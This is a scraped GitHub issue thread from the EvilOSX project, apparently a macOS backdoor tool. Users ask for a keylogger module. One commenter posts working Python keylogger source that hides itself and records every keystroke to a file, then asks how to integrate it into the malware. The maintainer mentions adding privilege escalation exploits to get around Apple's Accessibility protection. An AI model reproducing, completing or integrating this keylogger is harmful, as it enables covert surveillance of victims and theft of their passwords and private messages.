Comments (5)
Which programming language is the keylogger written in? Also where can I find it?
A guide on how to make modules can be found here.
Thanks.
from evilosx.
the programming language is python. the link of keylogger is given below:
https://github.com/syndbg/python-keylogger/blob/master/keylogger/platforms/osx.py
from evilosx.
what i have done so far is developed a keylogger that logs the text only and not the whole event in a file and it keeps logging for a specific time. see my code below:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from AppKit import NSApplication, NSApp
from Foundation import NSObject, NSLog
from Cocoa import NSEvent, NSKeyDownMask
from PyObjCTools import AppHelper
import datetime
import os
import sys
import time
import math
class AppDelegate(NSObject):
global endTime
def applicationDidFinishLaunching_(self, notification):
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)
def handler(event):
s=event.charactersIgnoringModifiers()
print(s)
print(time.time())
print(endTime)
if time.time() > endTime:
AppHelper.stopEventLoop()
else:
with open("test.txt", "a+") as out:
out.write(s + "\n")
if __name__ == '__main__':
endTime = time.time() + 5
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()
NSApp().setDelegate_(delegate)
NSApplicationActivationPolicyProhibited = 2
NSApp.setActivationPolicy_(NSApplicationActivationPolicyProhibited)
AppHelper.runEventLoop()
this runs as application, please guide me on how to integrate it with evilosx.
from evilosx.
Apple has protection against keylogging and requires you to allow the script in:
System Preferences -> Security & Privacy -> Accessibility -> Allow x
Because of this your script is quiet useless without root, although this is doable if I implement more privilege escalation exploits. A guide on how to make modules can be found here, once you've created the module create a pull request.
from evilosx.
can you please guide me if i have a key logger and i want to integrate it, what changes/additions are required? your help is appreciated much.
Hello Guys, Have you implemented the keylogger?
I also need some help with keylogger code.
from evilosx.
Related Issues (20)
- Module Server Error - Incorrect Padding (Screenshot module) HOT 5
- httplib.BadStatusLine: No status line received - the server has closed the connection HOT 3
- Can't launch GUI
- Info: This project is no longer maintained. Just read the README and wait for the new one HOT 1
- Cannot run builder to build payload
- bots are not joining
- When will the new version appear? HOT 4
- decrypt.mme file & get_history not working
- Screenshot Module - error returns - incorrect padding | fix provided - read details
- Webcam Module - not working | fix provided - read details
- Download module - not working when zipping files | fix provided - read details
- ModuleNotFoundError: No module named 'Cryptodome' HOT 4
- Python 3 conversion
- Bot Folder converting to bytes
- RubberDucky script not working?
- python launcher just makes another file HOT 1
- urllib2.URLError: <urlopen error [Errno 61] Connection refused>
- the start.py is not working
- Evil
- python start.py HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from evilosx.